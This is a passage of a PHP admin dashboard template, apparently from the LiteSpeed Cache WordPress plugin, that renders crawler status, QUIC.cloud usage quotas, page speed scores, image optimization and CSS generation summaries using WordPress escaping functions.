							<?php esc_html_e( 'Crawler Status', 'litespeed-cache' ); ?>
							<a href="<?php echo esc_url( admin_url( 'admin.php?page=litespeed-crawler' ) ); ?>" class="litespeed-title-right-icon"><?php esc_html_e( 'More', 'litespeed-cache' ); ?></a>
						</h3>
						<p>
							<code><?php echo esc_html( count( Crawler::cls()->list_crawlers() ) ); ?></code> <?php esc_html_e( 'Crawler(s)', 'litespeed-cache' ); ?>
						</p>
						<p>
							<?php esc_html_e( 'Currently active crawler', 'litespeed-cache' ); ?>: <code><?php echo esc_html( $crawler_summary['curr_crawler'] ); ?></code>
						</p>
						<?php if ( ! empty( $crawler_summary['curr_crawler_beginning_time'] ) ) : ?>
							<p>
								<span class="litespeed-bold"><?php esc_html_e( 'Current crawler started at', 'litespeed-cache' ); ?>:</span>
								<?php echo esc_html( Utility::readable_time( $crawler_summary['curr_crawler_beginning_time'] ) ); ?>
							</p>
						<?php endif; ?>
						<?php if ( ! empty( $crawler_summary['last_start_time'] ) ) : ?>
							<p class="litespeed-desc">
								<span class="litespeed-bold"><?php esc_html_e( 'Last interval', 'litespeed-cache' ); ?>:</span>
								<?php echo esc_html( Utility::readable_time( $crawler_summary['last_start_time'] ) ); ?>
							</p>
						<?php endif; ?>
						<?php if ( ! empty( $crawler_summary['end_reason'] ) ) : ?>
							<p class="litespeed-desc">
								<span class="litespeed-bold"><?php esc_html_e( 'Ended reason', 'litespeed-cache' ); ?>:</span>
								<?php echo esc_html( $crawler_summary['end_reason'] ); ?>
							</p>
						<?php endif; ?>
						<?php if ( ! empty( $crawler_summary['last_crawled'] ) ) : ?>
							<p class="litespeed-desc">
								<?php
								printf(
									esc_html__( '%1$s %2$d item(s)', 'litespeed-cache' ),
									'<span class="litespeed-bold">' . esc_html__( 'Last crawled:', 'litespeed-cache' ) . '</span>',
									esc_html( $crawler_summary['last_crawled'] )
								);
								?>
							</p>
						<?php endif; ?>
					</div>
				</div>

				<?php
				$news = $cloud_instance->load_qc_status_for_dash( 'news_dash_guest' );
				if ( ! empty( $news ) ) :
					?>
					<div class="postbox litespeed-postbox">
						<div class="inside litespeed-text-center">
							<h3 class="litespeed-title">
								<?php esc_html_e( 'News', 'litespeed-cache' ); ?>
							</h3>
							<div class="litespeed-top20">
								<?php echo wp_kses_post( $news ); ?>
							</div>
						</div>
					</div>
				<?php endif; ?>
			</div>
		</div>
	<?php endif; ?>

	<div class="litespeed-dashboard-qc">
		<?php if ( ! $cloud_instance->activated() && ! Admin_Display::has_qc_hide_banner() ) : ?>
			<div class="litespeed-dashboard-unlock">
				<div>
					<h3 class="litespeed-dashboard-unlock-title">
						<strong class="litespeed-qc-text-gradient">
							<?php esc_html_e( 'Accelerate, Optimize, Protect', 'litespeed-cache' ); ?>
						</strong>
					</h3>
					<p class="litespeed-dashboard-unlock-desc">
						<?php echo wp_kses_post( __( 'Speed up your WordPress site even further with <strong>QUIC.cloud Online Services and CDN</strong>.', 'litespeed-cache' ) ); ?>
					</p>
					<p>
						<?php esc_html_e( 'Free monthly quota available. Can also be used anonymously (no email required).', 'litespeed-cache' ); ?>
					</p>
					<p>
						<a class="button button-primary" href="<?php echo esc_url( Utility::build_url( Router::ACTION_CLOUD, Cloud::TYPE_ACTIVATE ) ); ?>">
							<span class="dashicons dashicons-yes"></span>
							<?php esc_html_e( 'Enable QUIC.cloud services', 'litespeed-cache' ); ?>
						</a>
						<br>
						<a class="button button-link litespeed-top10" href="<?php echo esc_url( Utility::build_url( Router::ACTION_ADMIN_DISPLAY, Admin_Display::TYPE_QC_HIDE_BANNER ) ); ?>">
							<?php esc_html_e( 'Do not show this again', 'litespeed-cache' ); ?>
						</a>
					</p>
					<p class="litespeed-dashboard-unlock-footer">
						<?php esc_html_e( 'QUIC.cloud provides CDN and online optimization services, and is not required. You may use many features of this plugin without QUIC.cloud.', 'litespeed-cache' ); ?><br>
						<a href="https://www.quic.cloud/" target="_blank">
							<?php esc_html_e( 'Learn More about QUIC.cloud', 'litespeed-cache' ); ?>
						</a>
						<br>
					</p>
				</div>
			</div>
		<?php endif; ?>

		<div class="litespeed-dashboard-qc-enable">
			<div class="litespeed-dashboard-header">
				<h3 class="litespeed-dashboard-title litespeed-dashboard-title--w-btn">
					<span class="litespeed-right10"><?php esc_html_e( 'QUIC.cloud Service Usage Statistics', 'litespeed-cache' ); ?></span>
					<a href="<?php echo esc_url( Utility::build_url( Router::ACTION_CLOUD, Cloud::TYPE_SYNC_USAGE ) ); ?>" class="button button-secondary button-small">
						<span class="dashicons dashicons-update"></span> <?php esc_html_e( 'Refresh Usage', 'litespeed-cache' ); ?>
						<span class="screen-reader-text"><?php esc_html_e( 'Sync data from Cloud', 'litespeed-cache' ); ?></span>
					</a>
				</h3>
				<hr>
				<a href="https://docs.litespeedtech.com/lscache/lscwp/dashboard/#usage-statistics" target="_blank" class="litespeed-learn-more"><?php esc_html_e( 'Learn More', 'litespeed-cache' ); ?></a>
			</div>

			<?php if ( ! $cloud_instance->activated() && Admin_Display::has_qc_hide_banner() ) : ?>
				<p class="litespeed-desc litespeed-margin-top-remove">
					<?php
					printf(
						esc_html__( 'The features below are provided by %s', 'litespeed-cache' ),
						'<a href="https://quic.cloud" target="_blank">QUIC.cloud</a>'
					);
					?>
				</p>
			<?php endif; ?>

			<div class="litespeed-dashboard-stats-wrapper">
				<?php
				$cat_list = array(
					'img_optm'  => esc_html__( 'Image Optimization', 'litespeed-cache' ),
					'page_optm' => esc_html__( 'Page Optimization', 'litespeed-cache' ),
					'cdn'       => esc_html__( 'CDN Bandwidth', 'litespeed-cache' ),
					'lqip'      => esc_html__( 'Low Quality Image Placeholder', 'litespeed-cache' ),
				);

				foreach ( $cat_list as $svc => $svc_title ) :
					$finished_percentage = 0;
					$total_used          = '-';
					$used                = '-';
					$quota               = '-';
					$pag_used            = '-';
					$pag_total           = '-';
					$pag_width           = 0;
					$percentage_bg       = 'success';
					$pag_txt_color       = '';
					$usage               = false;

					if ( ! empty( $cloud_summary[ 'usage.' . $svc ] ) ) {
						$usage               = $cloud_summary[ 'usage.' . $svc ];
						$finished_percentage = floor( $usage['used'] * 100 / $usage['quota'] );
						$used                = (int) $usage['used'];
						$quota               = (int) $usage['quota'];
						$pag_used            = ! empty( $usage['pag_used'] ) ? (int) $usage['pag_used'] : 0;
						$pag_bal             = ! empty( $usage['pag_bal'] ) ? (int) $usage['pag_bal'] : 0;
						$pag_total           = $pag_used + $pag_bal;
						if ( ! empty( $usage['total_used'] ) ) {
							$total_used = (int) $usage['total_used'];
						}

						if ( $pag_total ) {
							$pag_width = round( $pag_used / $pag_total * 100 ) . '%';
						}

						if ( $finished_percentage > 85 ) {
							$percentage_bg = 'warning';
							if ( $finished_percentage > 95 ) {
								$percentage_bg = 'danger';
								if ( $pag_bal ) {
									$percentage_bg = 'warning';
									$pag_txt_color = 'litespeed-success';
								}
							}
						}
					}
					?>
					<div class="postbox litespeed-postbox">
						<div class="inside">
							<h3 class="litespeed-title"><?php echo esc_html( $svc_title ); ?></h3>
							<div class="litespeed-flex-container">
								<div class="litespeed-icon-vertical-middle litespeed-pie-<?php echo esc_attr( $percentage_bg ); ?>">
									<?php echo wp_kses( GUI::pie( $finished_percentage, 60, false ), GUI::allowed_svg_tags() ); ?>
								</div>
								<div>
									<div class="litespeed-dashboard-stats">
										<h3><?php echo 'img_optm' === $svc ? esc_html__( 'Fast Queue Usage', 'litespeed-cache' ) : esc_html__( 'Usage', 'litespeed-cache' ); ?></h3>
										<p>
											<strong><?php echo esc_html( $used ); ?></strong>
											<?php if ( $used !== $quota ) : ?>
												<span class="litespeed-desc"> / <?php echo esc_html( $quota ); ?></span>
											<?php endif; ?>
										</p>
									</div>
								</div>
							</div>
							<?php if ( $pag_total > 0 ) : ?>
								<p class="litespeed-dashboard-stats-payg <?php echo esc_attr( $pag_txt_color ); ?>">
									<?php esc_html_e( 'PAYG Balance', 'litespeed-cache' ); ?>: <strong><?php echo esc_html( $pag_bal ); ?></strong>
									<button class="litespeed-info-button" data-balloon-pos="up" aria-label="<?php echo esc_attr( sprintf( esc_html__( 'PAYG used this month: %s. PAYG balance and usage not included in above quota calculation.', 'litespeed-cache' ), $pag_used ) ); ?>">
										<span class="dashicons dashicons-info"></span>
										<span class="screen-reader-text"><?php esc_html_e( 'Pay as You Go Usage Statistics', 'litespeed-cache' ); ?></span>
									</button>
								</p>
							<?php endif; ?>
							<?php if ( 'page_optm' === $svc && ! empty( $usage['sub_svc'] ) ) : ?>
								<p class="litespeed-dashboard-stats-total">
									<?php
									$i = 0;
									foreach ( $usage['sub_svc'] as $sub_svc => $sub_usage ) :
										?>
										<span class="<?php echo $i++ > 0 ? 'litespeed-left10' : ''; ?>">
											<?php echo esc_html( strtoupper( $sub_svc ) ); ?>: <strong><?php echo (int) $sub_usage; ?></strong>
										</span>
									<?php endforeach; ?>
								</p>
							<?php endif; ?>
							<?php if ( 'img_optm' === $svc ) : ?>
								<p class="litespeed-dashboard-stats-total">
									<?php esc_html_e( 'Total Usage', 'litespeed-cache' ); ?>: <strong><?php echo esc_html( $total_used ); ?> / ∞</strong>
									<button class="litespeed-info-button" data-balloon-pos="up" aria-label="<?php esc_attr_e( 'Total images optimized in this month', 'litespeed-cache' ); ?>">
										<span class="dashicons dashicons-info"></span>
									</button>
								</p>
								<div class="clear"></div>
							<?php endif; ?>
							<?php if ( isset( $usage['remaining_daily_quota'] ) && $usage['remaining_daily_quota'] >= 0 && isset( $usage['daily_quota'] ) && $usage['daily_quota'] >= 0 ) : ?>
								<p class="litespeed-dashboard-stats-total">
									<?php esc_html_e( 'Remaining Daily Quota', 'litespeed-cache' ); ?>: <strong><?php echo esc_html( $usage['remaining_daily_quota'] ); ?> / <?php echo esc_html( $usage['daily_quota'] ); ?></strong>
								</p>
								<div class="clear"></div>
							<?php endif; ?>
						</div>
					</div>
				<?php endforeach; ?>
				<?php if ( ! empty( $cloud_summary['partner'] ) ) : ?>
					<div class="litespeed-postbox litespeed-postbox-partner">
						<div class="inside">
							<h3 class="litespeed-title"><?php esc_html_e( 'Partner Benefits Provided by', 'litespeed-cache' ); ?></h3>
							<div>
								<?php if ( ! empty( $cloud_summary['partner']['logo'] ) ) : ?>
									<?php if ( ! empty( $cloud_summary['partner']['url'] ) ) : ?>
										<a href="<?php echo esc_url( $cloud_summary['partner']['url'] ); ?>" target="_blank">
											<img src="<?php echo esc_url( $cloud_summary['partner']['logo'] ); ?>" alt="<?php echo esc_attr( $cloud_summary['partner']['name'] ); ?>">
										</a>
									<?php else : ?>
										<img src="<?php echo esc_url( $cloud_summary['partner']['logo'] ); ?>" alt="<?php echo esc_attr( $cloud_summary['partner']['name'] ); ?>">
									<?php endif; ?>
								<?php elseif ( ! empty( $cloud_summary['partner']['name'] ) ) : ?>
									<?php if ( ! empty( $cloud_summary['partner']['url'] ) ) : ?>
										<a href="<?php echo esc_url( $cloud_summary['partner']['url'] ); ?>" target="_blank">
											<span class="postbox-partner-name"><?php echo esc_html( $cloud_summary['partner']['name'] ); ?></span>
										</a>
									<?php else : ?>
										<span class="postbox-partner-name"><?php echo esc_html( $cloud_summary['partner']['name'] ); ?></span>
									<?php endif; ?>
								<?php endif; ?>
							</div>
						</div>
					</div>
				<?php endif; ?>
			</div>

			<p class="litespeed-right litespeed-qc-dashboard-link">
				<?php
				if ( ! empty( $cloud_summary['partner'] ) && ! empty( $cloud_summary['partner']['login_title'] ) && ! empty( $cloud_summary['partner']['login_link'] ) ) :
					Doc::learn_more( $cloud_summary['partner']['login_link'], $cloud_summary['partner']['login_title'], true, 'button litespeed-btn-warning' );
				elseif ( ! empty( $cloud_summary['partner'] ) && ! empty( $cloud_summary['partner']['disable_qc_login'] ) ) :
					// Skip rendering any link or button.
					echo '';
				else :
					if ( ! $cloud_instance->activated() ) :
						Doc::learn_more(
							Utility::build_url( Router::ACTION_CLOUD, Cloud::TYPE_ACTIVATE ),
							esc_html__( 'Enable QUIC.cloud Services', 'litespeed-cache' ),
							true,
							'button litespeed-btn-warning'
						);
					elseif ( ! empty( $cloud_summary['qc_activated'] ) && 'anonymous' !== $cloud_summary['qc_activated'] ) :
						?>
						<a href="<?php echo esc_url( $cloud_instance->qc_link() ); ?>" class="litespeed-link-with-icon" target="qc">
							<?php esc_html_e( 'Go to QUIC.cloud dashboard', 'litespeed-cache' ); ?> <span class="dashicons dashicons-external"></span>
						</a>
					<?php else : ?>
						<?php
						Doc::learn_more(
							Utility::build_url( Router::ACTION_CLOUD, Cloud::TYPE_LINK ),
							esc_html__( 'Link to QUIC.cloud', 'litespeed-cache' ),
							true,
							'button litespeed-btn-warning'
						);
						?>
					<?php endif; ?>
				<?php endif; ?>
			</p>

			<div class="litespeed-dashboard-group">
				<hr>
				<div class="litespeed-flex-container">
					<div class="postbox litespeed-postbox litespeed-postbox-pagetime">
						<div class="inside">
							<h3 class="litespeed-title">
								<?php esc_html_e( 'Page Load Time', 'litespeed-cache' ); ?>
								<?php if ( $can_page_load_time ) : ?>
									<?php $closest_server = Cloud::get_summary( 'server.' . Cloud::SVC_HEALTH ); ?>
									<?php if ( $closest_server ) : ?>
										<a href="<?php echo esc_url( Utility::build_url( Router::ACTION_CLOUD, Cloud::TYPE_REDETECT_CLOUD, false, null, array( 'svc' => Cloud::SVC_HEALTH ) ) ); ?>"
											data-balloon-pos="up"
											data-balloon-break
											aria-label="<?php echo esc_attr( sprintf( esc_html__( 'Current closest Cloud server is %s. Click to redetect.', 'litespeed-cache' ), esc_html( $closest_server ) ) ); ?>"
											data-litespeed-cfm="<?php esc_attr_e( 'Are you sure you want to redetect the closest cloud server for this service?', 'litespeed-cache' ); ?>"
											class="litespeed-title-right-icon">
											<i class='litespeed-quic-icon'></i> <small><?php esc_html_e( 'Redetect', 'litespeed-cache' ); ?></small>
										</a>
									<?php endif; ?>
								<?php endif; ?>
							</h3>
							<div>
								<div class="litespeed-flex-container">
									<?php if ( $can_page_load_time && ! empty( $health_scores['speed_before'] ) ) : ?>
										<div class="litespeed-score-col">
											<p class="litespeed-text-grey">
												<?php esc_html_e( 'Before', 'litespeed-cache' ); ?>
											</p>
											<div class="litespeed-text-md litespeed-text-grey">
												<?php echo esc_html( $health_scores['speed_before'] ); ?><span class="litespeed-text-large">s</span>
											</div>
										</div>
										<div class="litespeed-score-col">
											<p class="litespeed-text-grey">
												<?php esc_html_e( 'After', 'litespeed-cache' ); ?>
											</p>
											<div class="litespeed-text-md litespeed-text-success">
												<?php echo esc_html( $health_scores['speed_after'] ); ?><span class="litespeed-text-large">s</span>
											</div>
										</div>
										<div class="litespeed-score-col litespeed-score-col--imp">
											<p class="litespeed-text-grey" style="white-space: nowrap;">
												<?php esc_html_e( 'Improved by', 'litespeed-cache' ); ?>
											</p>
											<div class="litespeed-text-jumbo litespeed-text-success">
												<?php echo esc_html( $health_scores['speed_improved'] ); ?><span class="litespeed-text-large">%</span>
											</div>
										</div>
									<?php else : ?>
										<div>
											<p><?php esc_html_e( 'You must be using one of the following products in order to measure Page Load Time:', 'litespeed-cache' ); ?></p>
											<a href="https://www.litespeedtech.com/products/litespeed-web-server" target="_blank"><?php esc_html_e( 'LiteSpeed Web Server', 'litespeed-cache' ); ?></a>
											<br />
											<a href="https://openlitespeed.org/" target="_blank"><?php esc_html_e( 'OpenLiteSpeed Web Server', 'litespeed-cache' ); ?></a>
											<br />
											<a href="https://www.litespeedtech.com/products/litespeed-web-adc" target="_blank"><?php esc_html_e( 'LiteSpeed Web ADC', 'litespeed-cache' ); ?></a>
											<br />
											<a href="https://quic.cloud" target="_blank"><?php esc_html_e( 'QUIC.cloud CDN', 'litespeed-cache' ); ?></a>
										</div>
									<?php endif; ?>
								</div>
							</div>
						</div>
						<?php if ( $can_page_load_time ) : ?>
							<div class="inside litespeed-postbox-footer litespeed-postbox-footer--compact">
								<?php if ( ! empty( $cloud_summary['last_request.health-speed'] ) ) : ?>
									<span class="litespeed-right10">
										<?php
										printf(
											esc_html__( 'Requested: %s ago', 'litespeed-cache' ),
											'<span data-balloon-pos="up" aria-label="' . esc_attr( Utility::readable_time( $cloud_summary['last_request.health-speed'] ) ) . '">' . esc_html( human_time_diff( $cloud_summary['last_request.health-speed'] ) ) . '</span>'
										);
										?>
									</span>
								<?php endif; ?>
								<a href="<?php echo esc_url( Utility::build_url( Router::ACTION_HEALTH, Health::TYPE_SPEED ) ); ?>" class="button button-secondary button-small">
									<span class="dashicons dashicons-update"></span>
									<?php esc_html_e( 'Refresh', 'litespeed-cache' ); ?>
									<span class="screen-reader-text"><?php esc_html_e( 'Refresh page load time', 'litespeed-cache' ); ?></span>
								</a>
							</div>
						<?php endif; ?>
					</div>

					<div class="postbox litespeed-postbox litespeed-postbox-pagespeed">
						<div class="inside">
							<h3 class="litespeed-title">
								<?php esc_html_e( 'PageSpeed Score', 'litespeed-cache' ); ?>
								<?php $guest_option = Base::O_GUEST; ?>
								<a href="<?php echo esc_url( admin_url( 'admin.php?page=litespeed-general#settings' ) ); ?>" class="litespeed-title-right-icon"><?php echo esc_html( Lang::title( $guest_option ) ); ?></a>
								<?php if ( $this->conf( $guest_option ) ) : ?>
									<span class="litespeed-label-success litespeed-label-dashboard"><?php esc_html_e( 'ON', 'litespeed-cache' ); ?></span>
								<?php else : ?>
									<span class="litespeed-label-danger litespeed-label-dashboard"><?php esc_html_e( 'OFF', 'litespeed-cache' ); ?></span>
								<?php endif; ?>
							</h3>
							<div>
								<div class="litespeed-margin-bottom20">
									<div class="litespeed-row-flex" style="margin-left: -10px;">
										<?php if ( ! empty( $health_scores['score_before'] ) ) : ?>
											<div class="litespeed-width-1-3 litespeed-padding-space litespeed-margin-x5">
												<p class="litespeed-text-grey litespeed-text-center">
													<?php esc_html_e( 'Before', 'litespeed-cache' ); ?>
												</p>
												<div class="litespeed-promo-score">
													<?php echo wp_kses( GUI::pie( $health_scores['score_before'], 45, false, true, 'litespeed-pie-' . esc_attr( GUI::cls()->get_cls_of_pagescore( $health_scores['score_before'] ) ) ), GUI::allowed_svg_tags() ); ?>
												</div>
											</div>
											<div class="litespeed-width-1-3 litespeed-padding-space litespeed-margin-x5">
												<p class="litespeed-text-grey litespeed-text-center">
													<?php esc_html_e( 'After', 'litespeed-cache' ); ?>
												</p>
												<div class="litespeed-promo-score">
													<?php echo wp_kses( GUI::pie( $health_scores['score_after'], 45, false, true, 'litespeed-pie-' . esc_attr( GUI::cls()->get_cls_of_pagescore( $health_scores['score_after'] ) ) ), GUI::allowed_svg_tags() ); ?>
												</div>
											</div>
											<div class="litespeed-width-1-3 litespeed-padding-space litespeed-margin-x5">
												<p class="litespeed-text-grey" style="white-space: nowrap;">
													<?php esc_html_e( 'Improved by', 'litespeed-cache' ); ?>
												</p>
												<div class="litespeed-postbox-score-improve litespeed-text-fern">
													<?php echo esc_html( $health_scores['score_improved'] ); ?><span class="litespeed-text-large">%</span>
												</div>
											</div>
										<?php endif; ?>
									</div>
								</div>
							</div>
						</div>
						<div class="inside litespeed-postbox-footer litespeed-postbox-footer--compact">
							<?php if ( ! empty( $cloud_summary['last_request.health-score'] ) ) : ?>
								<span class="litespeed-right10">
									<?php
									printf(
										esc_html__( 'Requested: %s ago', 'litespeed-cache' ),
										'<span data-balloon-pos="up" aria-label="' . esc_attr( Utility::readable_time( $cloud_summary['last_request.health-score'] ) ) . '">' . esc_html( human_time_diff( $cloud_summary['last_request.health-score'] ) ) . '</span>'
									);
									?>
								</span>
							<?php endif; ?>
							<a href="<?php echo esc_url( Utility::build_url( Router::ACTION_HEALTH, Health::TYPE_SCORE ) ); ?>" class="button button-secondary button-small">
								<span class="dashicons dashicons-update"></span>
								<?php esc_html_e( 'Refresh', 'litespeed-cache' ); ?>
								<span class="screen-reader-text"><?php esc_html_e( 'Refresh page score', 'litespeed-cache' ); ?></span>
							</a>
						</div>
					</div>

					<div class="postbox litespeed-postbox litespeed-postbox-double litespeed-postbox-imgopt">
						<div class="inside">
							<h3 class="litespeed-title">
								<?php esc_html_e( 'Image Optimization Summary', 'litespeed-cache' ); ?>
								<a href="<?php echo esc_url( admin_url( 'admin.php?page=litespeed-img_optm' ) ); ?>" class="litespeed-title-right-icon"><?php esc_html_e( 'More', 'litespeed-cache' ); ?></a>
							</h3>
							<div class="litespeed-postbox-double-content">
								<div class="litespeed-postbox-double-col">
									<div class="litespeed-flex-container">
										<div class="litespeed-icon-vertical-middle">
											<?php echo wp_kses( GUI::pie( $img_finished_percentage, 70, true ), GUI::allowed_svg_tags() ); ?>
										</div>
										<div>
											<div class="litespeed-dashboard-stats">
												<a data-litespeed-onlyonce class="button button-primary"
													<?php if ( ! empty( $img_count['groups_new'] ) || ! empty( $img_count[ 'groups.' . Img_Optm::STATUS_RAW ] ) ) : ?>
														href="<?php echo esc_url( Utility::build_url( Router::ACTION_IMG_OPTM, Img_Optm::TYPE_NEW_REQ ) ); ?>"
													<?php else : ?>
														href="javascript:;" disabled
													<?php endif; ?>>
													<span class="dashicons dashicons-images-alt2"></span><?php esc_html_e( 'Send Optimization Request', 'litespeed-cache' ); ?>
												</a>
											</div>
										</div>
									</div>
									<p>
										<?php esc_html_e( 'Total Reduction', 'litespeed-cache' ); ?>: <code><?php echo isset( $img_optm_summary['reduced'] ) ? esc_html( Utility::real_size( $img_optm_summary['reduced'] ) ) : '-'; ?></code>
									</p>
									<p>
										<?php esc_html_e( 'Images Pulled', 'litespeed-cache' ); ?>: <code><?php echo isset( $img_optm_summary['img_taken'] ) ? esc_html( $img_optm_summary['img_taken'] ) : '-'; ?></code>
									</p>
								</div>
								<div class="litespeed-postbox-double-col">
									<?php if ( ! empty( $img_count[ 'group.' . Img_Optm::STATUS_REQUESTED ] ) ) : ?>
										<p class="litespeed-success">
											<?php esc_html_e( 'Images requested', 'litespeed-cache' ); ?>:
											<code>
												<?php echo esc_html( Admin_Display::print_plural( $img_count[ 'group.' . Img_Optm::STATUS_REQUESTED ] ) ); ?>
												(<?php echo esc_html( Admin_Display::print_plural( $img_count[ 'img.' . Img_Optm::STATUS_REQUESTED ], 'image' ) ); ?>)
											</code>
										</p>
									<?php endif; ?>
									<?php if ( ! empty( $img_count[ 'group.' . Img_Optm::STATUS_NOTIFIED ] ) ) : ?>
										<p class="litespeed-success">
											<?php esc_html_e( 'Images notified to pull', 'litespeed-cache' ); ?>:
											<code>
												<?php echo esc_html( Admin_Display::print_plural( $img_count[ 'group.' . Img_Optm::STATUS_NOTIFIED ] ) ); ?>
												(<?php echo esc_html( Admin_Display::print_plural( $img_count[ 'img.' . Img_Optm::STATUS_NOTIFIED ], 'image' ) ); ?>)
											</code>
										</p>
									<?php endif; ?>
									<p>
										<?php esc_html_e( 'Last Request', 'litespeed-cache' ); ?>: <code><?php echo ! empty( $img_optm_summary['last_requested'] ) ? esc_html( Utility::readable_time( $img_optm_summary['last_requested'] ) ) : '-'; ?></code>
									</p>
									<p>
										<?php esc_html_e( 'Last Pull', 'litespeed-cache' ); ?>: <code><?php echo ! empty( $img_optm_summary['last_pull'] ) ? esc_html( Utility::readable_time( $img_optm_summary['last_pull'] ) ) : '-'; ?></code>
									</p>
									<?php
									$opt_list = array(
										Base::O_IMG_OPTM_AUTO => Lang::title( Base::O_IMG_OPTM_AUTO ),
									);
									foreach ( $opt_list as $opt_id => $opt_title ) :
										?>
										<p>
											<?php if ( $this->conf( $opt_id ) ) : ?>
												<span class="litespeed-label-success litespeed-label-dashboard"><?php esc_html_e( 'ON', 'litespeed-cache' ); ?></span>
											<?php else : ?>
												<span class="litespeed-label-danger litespeed-label-dashboard"><?php esc_html_e( 'OFF', 'litespeed-cache' ); ?></span>
											<?php endif; ?>
											<a href="<?php echo esc_url( admin_url( 'admin.php?page=litespeed-img_optm#settings' ) ); ?>"><?php echo esc_html( $opt_title ); ?></a>
										</p>
									<?php endforeach; ?>
								</div>
							</div>
						</div>
					</div>

					<div class="postbox litespeed-postbox litespeed-postbox-cache">
						<div class="inside">
							<h3 class="litespeed-title">
								<?php esc_html_e( 'Cache Status', 'litespeed-cache' ); ?>
								<a href="<?php echo esc_url( admin_url( 'admin.php?page=litespeed-cache' ) ); ?>" class="litespeed-title-right-icon"><?php esc_html_e( 'More', 'litespeed-cache' ); ?></a>
							</h3>
							<?php
							$cache_list = array(
								Base::O_CACHE         => esc_html__( 'Public Cache', 'litespeed-cache' ),
								Base::O_CACHE_PRIV    => esc_html__( 'Private Cache', 'litespeed-cache' ),
								Base::O_OBJECT        => esc_html__( 'Object Cache', 'litespeed-cache' ),
								Base::O_CACHE_BROWSER => esc_html__( 'Browser Cache', 'litespeed-cache' ),
							);
							foreach ( $cache_list as $cache_option => $cache_title ) :
								?>
								<p>
									<?php if ( $this->conf( $cache_option ) ) : ?>
										<span class="litespeed-label-success litespeed-label-dashboard"><?php esc_html_e( 'ON', 'litespeed-cache' ); ?></span>
									<?php else : ?>
										<span class="litespeed-label-danger litespeed-label-dashboard"><?php esc_html_e( 'OFF', 'litespeed-cache' ); ?></span>
									<?php endif; ?>
									<?php echo esc_html( $cache_title ); ?>
								</p>
							<?php endforeach; ?>
						</div>
					</div>

					<div class="postbox litespeed-postbox litespeed-postbox-ccss">
						<div class="inside">
							<h3 class="litespeed-title">
								<?php esc_html_e( 'Critical CSS', 'litespeed-cache' ); ?>
								<a href="<?php echo esc_url( admin_url( 'admin.php?page=litespeed-page_optm#settings_css' ) ); ?>" class="litespeed-title-right-icon"><?php esc_html_e( 'More', 'litespeed-cache' ); ?></a>
							</h3>
							<?php if ( ! empty( $css_summary['last_request_ccss'] ) ) : ?>
								<p>
									<?php
									printf(
										esc_html__( 'Last generated: %s', 'litespeed-cache' ),
										'<code>' . esc_html( Utility::readable_time( $css_summary['last_request_ccss'] ) ) . '</code>'
									);
									?>
								</p>
								<p>
									<?php
									printf(
										esc_html__( 'Time to execute previous request: %s', 'litespeed-cache' ),
										'<code>' . esc_html( $css_summary['last_spent_ccss'] ) . 's</code>'
									);
									?>
								</p>
							<?php endif; ?>
							<p>
								<?php esc_html_e( 'Requests in queue', 'litespeed-cache' ); ?>: <code><?php echo ! empty( $ccss_count ) ? esc_html( $ccss_count ) : '-'; ?></code>
								<a href="<?php echo ! empty( $ccss_count ) ? esc_url( Utility::build_url( Router::ACTION_CSS, CSS::TYPE_GEN_CCSS ) ) : 'javascript:;'; ?>"
									class="button button-secondary button-small <?php echo empty( $ccss_count ) ? 'disabled' : ''; ?>">
									<?php esc_html_e( 'Force cron', 'litespeed-cache' ); ?>
								</a>
							</p>
						</div>
						<?php if ( ! empty( $cloud_summary['last_request.ccss'] ) ) : ?>
							<div class="inside litespeed-postbox-footer litespeed-postbox-footer--compact">
								<?php
								printf(
									esc_html__( 'Last requested: %s', 'litespeed-cache' ),
									esc_html( Utility::readable_time( $cloud_summary['last_request.ccss'] ) )
								);
								?>
							</div>
						<?php endif; ?>
					</div>

					<div class="postbox litespeed-postbox litespeed-postbox-ucss">
						<div class="inside">
							<h3 class="litespeed-title">
								<?php esc_html_e( 'Unique CSS', 'litespeed-cache' ); ?>
								<a href="<?php echo esc_url( admin_url( 'admin.php?page=litespeed-page_optm#settings_css' ) ); ?>" class="litespeed-title-right-icon"><?php esc_html_e( 'More', 'litespeed-cache' ); ?></a>
							</h3>
							<?php if ( ! empty( $ucss_summary['last_request'] ) ) : ?>
								<p>
									<?php
									printf(
										esc_html__( 'Last generated: %s', 'litespeed-cache' ),
										'<code>' . esc_html( Utility::readable_time( $ucss_summary['last_request'] ) ) . '</code>'
									);
									?>
								</p>
								<p>
									<?php
									printf(
										esc_html__( 'Time to execute previous request: %s', 'litespeed-cache' ),
										'<code>' . esc_html( $ucss_summary['last_spent'] ) . 's</code>'
									);
									?>
								</p>
							<?php endif; ?>
							<p>
								<?php esc_html_e( 'Requests in queue', 'litespeed-cache' ); ?>: <code><?php echo ! empty( $ucss_count ) ? esc_html( $ucss_count ) : '-'; ?></code>
								<a href="<?php echo ! empty( $ucss_count ) ? esc_url( Utility::build_url( Router::ACTION_UCSS, UCSS::TYPE_GEN ) ) : 'javascript:;'; ?>"
									class="button button-secondary button-small <?php echo empty( $ucss_count ) ? 'disabled' : ''; ?>">
									<?php esc_html_e( 'Force cron', 'litespeed-cache' ); ?>
								</a>
							</p>
						</div>
						<?php if ( ! empty( $cloud_summary['last_request.ucss'] ) ) : ?>
							<div class="inside litespeed-postbox-footer litespeed-postbox-footer--compact">
								<?php
								printf(
									esc_html__( 'Last requested: %s', 'litespeed-cache' ),
									esc_html( Utility::readable_time( $cloud_summary['last_request.ucss'] ) )
								);
								?>
							</div>
						<?php endif; ?>
					</div>

					<div class="postbox litespeed-postbox litespeed-postbox-lqip">
						<div class="inside">
							<h3 class="litespeed-title">
								<?php esc_html_e( 'Low Quality Image Placeholder', 'litespeed-cache' ); ?>
								<a href="<?php echo esc_url( admin_url( 'admin.php?page=litespeed-page_optm#settings_media' ) ); ?>" class="litespeed-title-right-icon"><?php esc_html_e( 'More', 'litespeed-cache' ); ?></a>
							</h3>
							<?php if ( ! empty( $placeholder_summary['last_request'] ) ) : ?>
								<p>
									<?php
									printf(
										esc_html__( 'Last generated: %s', 'litespeed-cache' ),
										'<code>' . esc_html( Utility::readable_time( $placeholder_summary['last_request'] ) ) . '</code>'
									);
									?>
								</p>
								<p>
									<?php
									printf(
										esc_html__( 'Time to execute previous request: %s', 'litespeed-cache' ),
										'<code>' . esc_html( $placeholder_summary['last_spent'] ) . 's</code>'
									);
									?>
								</p>
							<?php endif; ?>
							<p>
								<?php esc_html_e( 'Requests in queue', 'litespeed-cache' ); ?>: <code><?php echo ! empty( $placeholder_queue_count ) ? esc_html( $placeholder_queue_count ) : '-'; ?></code>
